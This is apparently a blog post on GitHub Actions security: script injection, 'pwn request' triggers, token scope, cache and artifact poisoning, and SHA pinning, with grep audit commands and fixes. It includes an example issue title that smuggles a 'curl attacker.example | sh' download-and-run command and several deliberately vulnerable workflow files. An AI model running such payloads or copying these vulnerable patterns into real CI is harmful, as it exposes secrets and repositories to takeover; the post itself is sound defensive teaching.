All posts
Concept ~13 min read

Your CI is an attack surface: script injection and pwn requests in GitHub Actions

A workflow file is code that runs with your secrets, and a pull request title, a fork’s package.json, or a poisoned cache can be the input that drives it. This post covers injection sinks, privileged triggers, token scope, poisoning, self-hosted runners and SHA pinning.

Most teams review application code carefully and treat .github/workflows/*.yml as configuration: something you copy from a README, tweak until the badge turns green, and never look at again.

A workflow is a program, though. It runs on a machine that often holds a repository write token, cloud credentials and a package-registry publish key, and much of its input comes from strangers: issue titles, PR branch names, comment bodies, and the code in a fork. This post covers the ways that combination goes wrong, how to grep for them, and the fixes.

A little theory: expressions are templating, not variables

Most of these bugs come from assuming that ${{ ... }} in a workflow behaves like a shell variable. It does not. GitHub evaluates the expression before the step runs and pastes the result into the script text. By the time bash starts, there is no variable left, only whatever characters the attacker supplied, sitting in the middle of your script.

.github/workflows/triage.yml, vulnerableYAML
on:
  issues:
    types: [opened]

jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"

Open an issue titled x"; curl -sSf https://attacker.example/x | sh; echo " and the step becomes three commands. This is plain command injection (CWE-78) where the template engine is the injection point.

The second thing to understand is which events run with privilege. A pull_request from a fork runs with a read-only token and no secrets. Several other triggers run in the context of the base repository, with secrets and (by default on many repos) a write-capable GITHUB_TOKEN, even when a stranger triggers them. The class is untrusted input plus a privileged trigger, so the trust table is worth memorising:

Trigger Runs as Secrets? Token Checks out
pull_request (fork) the PR no read-only the PR head (safe, it is sandboxed)
pull_request_target base repo yes read/write base branch by default
workflow_run base repo yes read/write nothing by default
issue_comment base repo yes read/write nothing by default
issues base repo yes read/write nothing by default
discussion / discussion_comment base repo yes read/write nothing by default

Watch the right-hand column. The privileged triggers check out something safe by default; that is the reason pull_request_target exists. The bug is almost always a maintainer who wanted to build the PR’s code and added ref: ${{ github.event.pull_request.head.sha }} to a privileged workflow, pulling attacker-authored code into a job that holds the secrets. Build the PR under pull_request; label and comment under the privileged triggers.

Variant 1: script injection from event fields

Any attacker-controlled field interpolated into a script is a sink. In practice that means anything a human typed:

  • github.event.issue.title / .body
  • github.event.pull_request.title / .body
  • github.event.comment.body, github.event.review.body
  • github.event.pull_request.head.ref and github.head_ref: a branch name can contain $(...) and backticks (spaces are not allowed, but ${IFS} works fine)
  • github.event.head_commit.message, commit author names and emails
  • github.event.pages.*.page_name, discussion titles, labels created by users

Fields that are numbers or GitHub-generated (.number, .id, SHAs) are safe to interpolate, and so are usernames such as github.event.comment.user.login, which GitHub restricts to letters, digits and hyphens. Wrapping a field in toJson() does not help: JSON escaping handles quotes for a JSON parser, but $(...) and backticks pass through untouched for the shell.

The field is only half of it. The other half is where the expression lands. run: is the obvious sink, but there are others:

  • actions/github-script. The script: input is JavaScript, evaluated the same way. ${{ github.event.issue.title }} interpolated into inline JS lets an attacker break out of a string literal and run arbitrary Node in a step that holds the token. require('child_process') gets you back to a shell anyway.
  • env: that a later run: consumes unsafely. Routing the value through env: is the fix only if the shell then treats it as data. env: { TITLE: ${{ … }} } followed by run: eval "echo $TITLE", or the value interpolated into a python -c / node -e string, re-opens the hole. The environment is safe; what the script does with it may not be.
  • Values written into generated files, then executed. A title echoed into a Makefile, a .sh, a config.yml or a package.json that a later step runs is injection with one hop of indirection.
  • run: that references a filename from the event. Changed-file lists, artifact names and head_ref used as a path (cat "$FILE", cd $DIR) pass shell metacharacters to the shell even when you never meant them as code.

The audit question is therefore wider than “is this in a run:”. Ask whether any attacker-controlled string reaches something that interprets it: a shell, a JS engine, a file an interpreter will read. The sink’s parser decides what counts as code, which is the same reasoning you apply to output encoding in web templates.

Variant 2: pwn requests

GitHub Security Lab coined “pwn request” for the pattern where a privileged workflow checks out and runs a pull request’s code. pull_request_target exists so that a workflow can label or comment on fork PRs, which needs a write token. It deliberately checks out the base branch. The bug is overriding that:

.github/workflows/preview.yml, vulnerableYAML
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - uses: actions/setup-node@v4
      - run: npm ci && npm run build
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Nothing here interpolates a string unsafely, which is why it survives review. The injection is the fork’s package.json: a preinstall or prepare script, a modified build script, a malicious .npmrc. The same goes for pip install . (setup.py), tox, make, cargo build (build.rs), go generate, Gradle and Maven wrappers, pre-commit hooks and test suites. Whatever the build executes, the attacker wrote. Even without the env: line, actions/checkout persists the token into .git/config by default, and secrets used in later steps of the same job are reachable from a process the attacker started earlier.

workflow_run produces the same bug one hop removed: an unprivileged pull_request workflow builds the fork and uploads an artifact, and a privileged workflow_run workflow consumes it. That is artifact poisoning, covered under Variant 5 below.

A note on preconditions: some repositories require approval before workflows run for first-time contributors. That setting applies to pull_request; pull_request_target and issue_comment workflows are not gated by it, which is part of why they are attractive. Label-gated workflows (“run when a maintainer adds safe-to-test”) help only if the checkout pins the SHA that was reviewed, not whatever the branch points to when the job starts.

A self-hosted runner makes this worse. On GitHub-hosted runners each job gets a fresh, disposable VM, so an attacker who lands code gets the job’s secrets and nothing more. A non-ephemeral self-hosted runner keeps its filesystem, its Docker layer cache and whatever a previous job left behind, and it sits inside your network. A pwn request on a repo that runs fork PRs on a self-hosted runner gives the attacker a foothold on a long-lived host behind your firewall, able to tamper with later jobs on the same runner, on top of the job’s token. GitHub’s own guidance is not to use self-hosted runners for public repositories. If you must, make them ephemeral (one job per VM, destroyed after) and never run untrusted fork code on them.

What an attacker actually gets

Injection and pwn requests are the how; the stakes are set by what the job can reach. Check three things before you decide a finding is low severity.

The GITHUB_TOKEN. Every job gets one automatically. On older repositories and many that predate the default change, it is read/write across the repo: enough to push commits, edit releases, move tags, approve and merge PRs, or open a malicious PR from the inside. The permissions: key is how you shrink it; set it at workflow top level to a floor and raise it per job:

Least privilege for the tokenYAML
permissions:
  contents: read        # the floor for every job
jobs:
  publish:
    permissions:
      contents: read
      packages: write    # only this job, only what it needs

permissions: {} grants nothing. Treat read/write-by-default as a liability: a script injection in a job with a write token is a repository takeover, not a log leak. A job with contents: read still runs attacker code and can still leak whatever secrets it holds, so it is a smaller bug, not a non-bug.

Secrets. You do not need every exfiltration trick to review for this, but the mechanics matter: a secret becomes a plain environment variable or a string the moment a step uses it, so any code running in that step can read it and send it out, either over the network or by putting it somewhere the attacker can read later (a public job log, a PR comment, an artifact, a commit). Actions masks known secret values in logs, but masking is string matching: base64-, hex- or chunk-encode the value and the mask misses it. The defence is not “the log is masked”; it is “untrusted code never shares a job with a secret.”

OIDC to a cloud. Modern workflows swap long-lived cloud keys for short-lived credentials via OIDC: the runner presents a signed token and the cloud hands back a role. The security of that rests on the cloud-side trust policy, the condition on the sub claim that says which workflow may assume the role. A policy that matches repo:acme/* instead of repo:acme/app:ref:refs/heads/main, or that checks the org but not the branch or environment, lets any workflow in scope mint cloud credentials, including one an attacker triggered via a pwn request. Scope the sub to the exact repo, branch or environment, and prefer GitHub environments with required reviewers for anything that assumes a production role.

Variant 3: one action, many victims

Composite actions and reusable workflows are code that runs inside the caller’s job, with the caller’s token and secrets. A composite action that does this:

action.yml of a composite action, vulnerableYAML
inputs:
  pr-title:
    required: true
runs:
  using: composite
  steps:
    - shell: bash
      run: |
        echo "Checking title: ${{ inputs.pr-title }}"

is safe in isolation and injectable in every consumer that passes pr-title: ${{ github.event.pull_request.title }} from a privileged trigger. The inputs.* context looks internal, so neither the action author nor the consumer sees the sink: the author thinks “my input”, the consumer thinks “I am just passing a value”. When you audit an action, treat every inputs.* interpolated into run: as potentially attacker-controlled, because some consumer will wire it to an event field. Fixing it in the action fixes all consumers at once, which is also why it is worth reporting upstream rather than patching locally. How many consumers that is depends on actual usage, not on the action repository’s star count; the two are often far apart.

Variant 4: the action you pinned is not the action you run

uses: some-org/some-action@v4 does not pin anything. Tags in git are mutable; whoever controls that repository can move v4 to a different commit, and every workflow referencing it runs the new code on its next trigger.

That happened in March 2025 with tj-actions/changed-files (CVE-2025-30066), an action used in tens of thousands of repositories. An attacker who obtained write access to the action’s repository retargeted its version tags to a malicious commit. The payload dumped the runner’s memory looking for secrets and printed them to the job log. For public repositories, job logs are public, so any secret that had been loaded into those jobs was exposed to anyone reading the logs. StepSecurity detected it, GitHub took the repository offline temporarily, and the advisory told users to rotate any secrets that could have been in affected runs. Repositories that referenced the action by full commit SHA were not affected by the tag move.

The lesson applies beyond one incident: a third-party action is a dependency with access to your secrets, and a tag is a pointer someone else controls. A pwn request or script injection in an action’s own CI is a plausible way for an attacker to get that write access in the first place, which is how the variants chain together.

Variant 5: poisoning the cache and artifacts

Two workflows that never call each other can still pass data, and the data crosses a trust boundary without a human in the loop.

Cache poisoning. actions/cache keys the build cache by branch and a hash. The subtle part is scope: a cache entry created by a workflow running on a PR branch (or a feature branch an attacker can push to, in a repo that allows it) can be restored by a later run on a more trusted branch when the keys line up, because caches are readable across branches under GitHub’s scoping rules. If an attacker can get their content into a cache key that a main build later restores (a poisoned node_modules, a tampered compiler cache, a planted binary on the PATH), they have influenced a trusted build without touching its workflow file. Do not cache anything a privileged build will execute unless the key is derived solely from trusted inputs, and treat a restored cache as untrusted material, not as your own prior output.

Artifact poisoning. This is the workflow_run problem made concrete. An unprivileged pull_request job builds the fork and uploads an artifact; a privileged workflow_run job downloads it and then, which is the bug, unzips it over the workspace, cats a file into $GITHUB_ENV, or runs a script from inside it. The artifact is attacker-controlled data crossing into a privileged context, like a deserialization sink where the “data” turns out to be code. Writing an attacker-controlled line such as LD_PRELOAD=… or PATH=… into $GITHUB_ENV is enough to hijack a later step. Validate the artifact’s shape, extract to a scratch directory with path traversal in mind, and never feed its contents into $GITHUB_ENV, $GITHUB_OUTPUT or an interpreter unchecked.

How to find this in your own repositories

Start with grep. These are recall-oriented: they produce candidates, and you confirm each one by reading the trigger.

Candidate script injectionShell
# event fields interpolated anywhere in workflows or actions
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|discussion|pages)|head_ref)' \
  .github/ action.yml action.yaml 2>/dev/null

# composite action inputs interpolated anywhere (multi-line `run: |` blocks
# put the expression on its own line, so do not require `run:` on the match)
grep -rnE '\$\{\{\s*inputs\.' --include='action.y*ml' .
Candidate pwn requestsShell
# privileged triggers
grep -rlE '^\s*(on:.*)?(pull_request_target|workflow_run)' .github/workflows/
# ...then, in those files, a checkout of the PR head
grep -nE 'ref:.*(head\.sha|head\.ref|head_ref|refs/pull)' .github/workflows/*.yml
Candidate poisoning and self-hosted exposureShell
# untrusted data written into the environment of later steps
grep -rnE '>>\s*"?\$GITHUB_(ENV|OUTPUT|PATH)"?' .github/workflows/
# fork code on a long-lived runner, and unpinned tags
grep -rnE 'runs-on:.*self-hosted' .github/workflows/
grep -rnE 'uses:.*@(v?[0-9]+|main|master)$' .github/workflows/

For each hit, ask three questions: which event triggers this job, who can trigger it (anyone with a GitHub account, or only collaborators), and what the job can reach (token permissions, secrets, OIDC to a cloud). A sink behind workflow_dispatch or push to a protected branch is a hygiene issue; the same sink behind issue_comment is a real bug.

When I ran this kind of search across public workflows, most candidates fell away on manual review. The expression sat in an env: or with: line rather than in the script, it was wrapped in a boolean such as contains(...), or the job was gated by something a regex cannot evaluate: an if: on github.event.comment.author_association, a check on the commenter’s login, or an early step that queries the collaborator permission API and exits unless the user has write access. Any of those above the injectable step removes the unauthenticated path, so read the whole job before you call it.

Then run the linters. zizmor is a static analyser built for Actions security: it flags template injection, dangerous triggers, unpinned actions, credential persistence and excessive permissions, and understands enough context to cut most of the grep noise. actionlint is a general workflow linter that also checks for untrusted expressions in run:. Both are cheap to add as a CI step.

The fix

Pass untrusted values through the environment. An environment variable is data to the shell, not script text:

triage.yml, fixedYAML
      - run: echo "New issue: $TITLE"
        env:
          TITLE: ${{ github.event.issue.title }}

Quote the variable ("$TITLE"), and in github-script read from process.env or context.payload instead of interpolating into the script. The same rule applies inside composite actions: map inputs.* to env: first.

Use pull_request for anything that builds or tests PR code. It runs fork code with no secrets and a read-only token, which is the correct sandbox. Reach for pull_request_target only for jobs that never check out or execute the PR’s content: labelling, commenting, triage.

Split untrusted build from privileged publish. If a fork PR needs a privileged step (posting a preview link, uploading coverage), do the build in an unprivileged pull_request workflow, pass the result as an artifact, and have a workflow_run workflow consume it as data only: validate its shape, never execute it, never write it into $GITHUB_ENV or $GITHUB_OUTPUT unchecked.

Start from least privilege. Set permissions: contents: read (or permissions: {}) at the top of every workflow and grant more per job. Switch the repository default token to read-only in settings. Use persist-credentials: false on actions/checkout unless a later step needs to push. Prefer OIDC with short-lived, narrowly scoped cloud roles over long-lived secrets.

Pin third-party actions by full commit SHA, with the version in a comment so humans and Dependabot or Renovate can still update it:

YAML
- uses: actions/checkout@<40-character-commit-sha> # v4.x.y

GitHub also offers an organisation policy to require SHA pinning. Pinning does not protect you from a malicious update you accept, but it turns a silent tag move into a reviewable diff.

Takeaway

Strangers must not drive your CI.

A workflow they can trigger must never execute text or code they control: route event data through env:, build fork code without secrets, and pin every third-party action to a commit SHA.